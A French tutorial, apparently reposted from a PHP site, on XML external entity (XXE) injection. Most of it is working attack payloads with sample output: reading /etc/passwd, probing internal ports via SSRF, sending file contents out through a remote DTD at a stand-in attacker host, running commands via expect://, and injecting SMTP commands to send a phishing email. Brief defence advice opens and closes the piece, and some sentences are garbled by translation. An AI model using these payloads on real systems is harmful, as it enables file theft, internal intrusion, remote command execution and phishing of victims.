En termes simples, XXE est une injection d'entité externe XML. Lorsque des entités externes sont autorisées à être référencées, en créant du contenu malveillant, cela peut causer des dommages tels qu'une lecture arbitraire de fichiers, l'exécution de commandes système, la détection de ports intranet et des attaques sur des sites Web intranet.
Par exemple, si le programme que vous utilisez actuellement est PHP, vous pouvez définir libxml_disable_entity_loader sur TRUE pour désactiver les entités externes à des fins de défense.
Habituellement, l'attaquant injectera la charge utile dans le fichier XML. Une fois le fichier exécuté, le fichier local sur le serveur. sera lu le fichier et lancera l’accès au réseau interne pour analyser les ports du réseau interne. En d’autres termes, XXE est un moyen d’accéder localement à divers services. En outre, cela peut également aider les attaquants à contourner dans une certaine mesure le filtrage des règles de pare-feu ou les contrôles d’authentification.
Ce qui suit est un exemple de requête POST de code XML simple :
POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1 <?xml version="1.0"?> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>XML is the best!</description> </core> </catalog>
Ensuite, le code ci-dessus sera analysé par le processeur XML du serveur. Le code est interprété et renvoyé : {"Request Successful": "Added!"}
Maintenant, que se passe-t-il lorsqu'un attaquant tente d'abuser de l'analyse du code XML ? Modifions le code et incluons notre charge utile malveillante :
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
Le code est interprété et renvoyé :
{"error": "no results for description root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync...
Comme le montre l'exemple ci-dessus, le serveur renvoie le contenu du fichier /etc/passwd à notre XXE en réponse. Mais dans certains cas, même si XXE est présent sur le serveur, aucune réponse ne sera renvoyée au navigateur ou au proxy de l'attaquant. Dans ce cas, nous pouvons utiliser la vulnérabilité Blind XXE pour créer un canal hors bande (OOB) pour lire les données. Bien que nous ne puissions pas visualiser directement le contenu du fichier, nous pouvons toujours utiliser le serveur vulnérable comme proxy pour effectuer des analyses ainsi que du code sur le réseau externe.
Dans le premier exemple, nous avons pointé la requête vers le fichier /etc/passwd via l'URI, et Finalement, le contenu du fichier nous a été restitué avec succès. En plus de cela, nous pouvons également convertir le XXE en SSRF (Server Side Request Forgery) en utilisant un URI http et en forçant le serveur à envoyer une requête GET au point de terminaison et au port que nous spécifions.
Le code suivant tentera de communiquer avec le port 8080. En fonction du temps/longueur de réponse, l'attaquant pourra déterminer si le port a été ouvert.
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
Les fichiers DTD (External Document Type Definition) peuvent être utilisés pour déclencher OOB XXE. L'attaquant héberge le fichier .dtd sur un VPS, permettant à un serveur vulnérable distant d'obtenir le fichier et d'exécuter les commandes malveillantes qu'il contient.
La requête suivante sera envoyée à l'application pour démontrer et tester la méthode :
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd"> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
Le code ci-dessus, une fois traité par le serveur vulnérable, sera envoyé à notre distant serveur Envoyez une requête pour trouver le fichier DTD contenant notre charge utile :
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>"> %all;
Prenons un moment pour comprendre le flux d'exécution de la requête ci-dessus. Le résultat est que deux requêtes sont envoyées à notre serveur, la deuxième requête concerne le contenu du fichier /etc/passwd.
Dans nos logs VPS nous pouvons voir une deuxième requête avec le contenu d'un fichier, qui confirme l'existence de la vulnérabilité OOB XXE :
http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh
Cela arrive rarement, mais il existe des cas où un attaquant est capable d'exécuter du code via XXE, principalement en raison d'une configuration/développement interne inapproprié causé par l'application. Si nous avons la chance et que le module PHP expect est chargé sur un système vulnérable ou une application interne qui gère XML, alors nous pouvons exécuter la commande suivante :
<?xml version="1.0"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
Response :
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A DATA%0D%0A From%3A%20support%40VULNERABLESYSTEM.com%0A To%3A%20victim%40gmail.com%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :a@VULNERABLESYSTEM.com:25
ftp://a EHLO a MAIL FROM: <support@VULNERABLESYSTEM.com> RCPT TO: <victim@gmail.com> DATA From: support@VULNERABLESYSTEM.com To: victim@gmail.com Subject: Reset your password We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com . QUIT :support@VULNERABLESYSTEM.com:25
Les outils d'analyse de requêtes HTTP comme RequestBin et HookBin sont très adaptés aux tests OOB XXE. De plus, le Collaborator de BurpSuite Pro est également un bon choix, mais certains chercheurs en sécurité préfèrent utiliser leur propre VPS.
Le principal problème évoqué ci-dessus est que l'analyseur XML analyse les données non fiables envoyées par l'utilisateur. Cependant, il n'est pas facile, voire impossible, de vérifier les données définies par l'identifiant SYSTEM dans la DTD (définition du type de document). La plupart des analyseurs XML sont vulnérables aux attaques XXE par défaut. Par conséquent, la meilleure solution consiste à configurer le processeur XML pour qu'il utilise des DTD statiques locales et ne permette pas à XML de contenir des DTD auto-déclarées.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!